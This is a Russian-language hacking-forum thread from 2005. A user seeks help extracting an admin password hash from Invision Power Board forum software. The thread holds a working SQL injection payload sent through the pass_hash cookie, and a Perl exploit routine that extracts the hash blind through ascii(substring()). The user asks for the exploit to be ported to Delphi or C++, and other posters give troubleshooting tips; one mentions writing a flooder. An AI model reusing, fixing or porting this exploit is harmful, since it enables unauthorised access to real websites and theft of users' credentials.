Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   С/С++, C#, Delphi, .NET, Asm (https://forum.antichat.xyz/forumdisplay.php?f=24)
-   -   В общем делаю запрос в сокеты! и Не чего не возвращает! (https://forum.antichat.xyz/showthread.php?t=8456)

AIN 01.08.2005 01:19

В общем делаю запрос в сокеты! и Не чего не возвращает!
 
В общем делаю такой запрос!
Цитата:

GET localhost/forum/index.php?act=Login&CODE=autologin HTTP/1.0
Accept: */*
Host: localhost
Cookie: member_id=31337420; pass_hash=1%2527+union+select+converge_id,converge _pass_salt,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 ,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 +from+ibf_members_converge+where+converge_id%3D1+/*
Connection: close
А возвращает вот что:
Цитата:

HTTP/1.1 400 Bad Request
Date=Mon, 01 Aug 2005 21:19:41 GMT
Server=Apache/1.3.31 (Win32) PHP/4.3.10
Connection=close
Transfer-Encoding=chunked
Content-Type=text/html; charset=iso-8859-1

Я не могу получишь ХЕШ...

Чё я не так делаю?

Майор 01.08.2005 01:22

чем ты его делаешь ? и как

AIN 01.08.2005 01:32

Цитата:

Сообщение от AIN
В общем делаю такой запрос!


А возвращает вот что:



Я не могу получишь ХЕШ...

Чё я не так делаю?


В общем сечас пытаюсь делать программой InetCrack А если получится буду
делать программу... Вот карочий PERL не знаю что смог вытенуть с сплойта то
и вытинул...

Цитата:

$non="1%2527+union+select+converge_id%2Cconverge_p ass_salt%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2 C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0 %2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2 C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0+from+".$pre fix."members_converge+where+%28converge_id%3D";
$eas="1%2527+OR+%28id%3D";
$pass_hash1 = ($flag)?($non):($eas);
$pass_hash2 = "+AND+ascii%28substring%28";
$pass_hash3 = (($flag)?($pass):("legacy_password")).",".$s_num." ,1))".$ccheck.") /*";
$pass_hash3 =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80");

printf $socket ("GET %sindex.php?act=Login&CODE=autologin HTTP/1.0\nHost: %s\nAccept: */*\nCookie: member_id=%s; pass_hash=%s%s%s%s\nConnection: close\n\n",
$path,$server,$cmember_id,$pass_hash1,$cmember_id, $pass_hash2,$pass_hash3);

.FUF 01.08.2005 12:35

попробуй заменить localhost на домен сервера, и в GET запросе добавить http://
GET http://www.site.ru/forum/index.php?a...CODE=autologin HTTP/1.0
Accept: */*
Host: site.ru
Cookie: member_id=31337420; pass_hash=1%2527+union+select+converge_id,converge _pass_salt,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 ,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 +from+ibf_members_converge+where+converge_id%3D1+/*
Connection: close

AIN 01.08.2005 14:51

Не фига не чего не возвращает а запрос ка OK. принел но MYSQL не выполняет
блин ПАРЮСЬ Я ПАРЮСЬ...

Лучше помогите перевести это:

Если не трудно перевидет на язык DELPHI...

Sub check($)
{
$n++;
status();
$ccheck = $_[0];
$non="1%2527+union+select+converge_id%2Cconverge_p ass_salt%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2 C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0 %2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2 C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0+from+".$pre fix."members_converge+where+%28converge_id%3D";
$eas="1%2527+OR+%28id%3D";
$pass_hash1 = ($flag)?($non):($eas);
$pass_hash2 = "+AND+ascii%28substring%28";
$pass_hash3 = (($flag)?($pass):("legacy_password")).",".$s_num." ,1))".$ccheck.") /*";
$pass_hash3 =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80");

printf $socket ("GET %sindex.php?act=Login&CODE=autologin HTTP/1.0\nHost: %s\nAccept: */*\nCookie: member_id=%s; pass_hash=%s%s%s%s\nConnection: close\n\n",
$path,$server,$cmember_id,$pass_hash1,$cmember_id, $pass_hash2,$pass_hash3);

while(<$socket>)
{
if (/Set-Cookie: session_id=0;/) {
return 1; }
}


return 0;
}



Или хотя бы эти строки
$non="1%2527+union+select+converge_id%2Cconverge_p ass_salt%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2 C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0 %2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2 C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0+from+".$pre fix."members_converge+where+%28converge_id%3D";
$eas="1%2527+OR+%28id%3D";
$pass_hash1 = ($flag)?($non):($eas);
$pass_hash2 = "+AND+ascii%28substring%28";
$pass_hash3 = (($flag)?($pass):("legacy_password")).",".$s_num." ,1))".$ccheck.") /*";
$pass_hash3 =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;


printf $socket ("GET %sindex.php?act=Login&CODE=autologin HTTP/1.0\nHost: %s\nAccept: */*\nCookie: member_id=%s; pass_hash=%s%s%s%s\nConnection: close\n\n",
$path,$server,$cmember_id,$pass_hash1,$cmember_id, $pass_hash2,$pass_hash3);

JohnZ 01.08.2005 20:29

В конце пакета незабуть ставить два пробела, и для начала работай с асинхронным сокетом, иначе должны быть спец приемы чтоб получить ответ. Сам парился пока писал флудер.

.FUF 01.08.2005 22:19

>В конце пакета незабуть ставить два пробела
Наверное ты имел в виду 2 перевода строки (#13#10)
На практике надо ставить в конец пакета 1 перевод строки (в RFC 2616 сказано ставить 1)

JohnZ 01.08.2005 22:30

Верно перевод строки. Я пишу на BuilderC++6 и правильно заработало только с 2мя переводами.

AIN 02.08.2005 02:47

Ну тогда дайте на B...c++6?

AIN 02.08.2005 17:08

Где вы?


Время: 04:02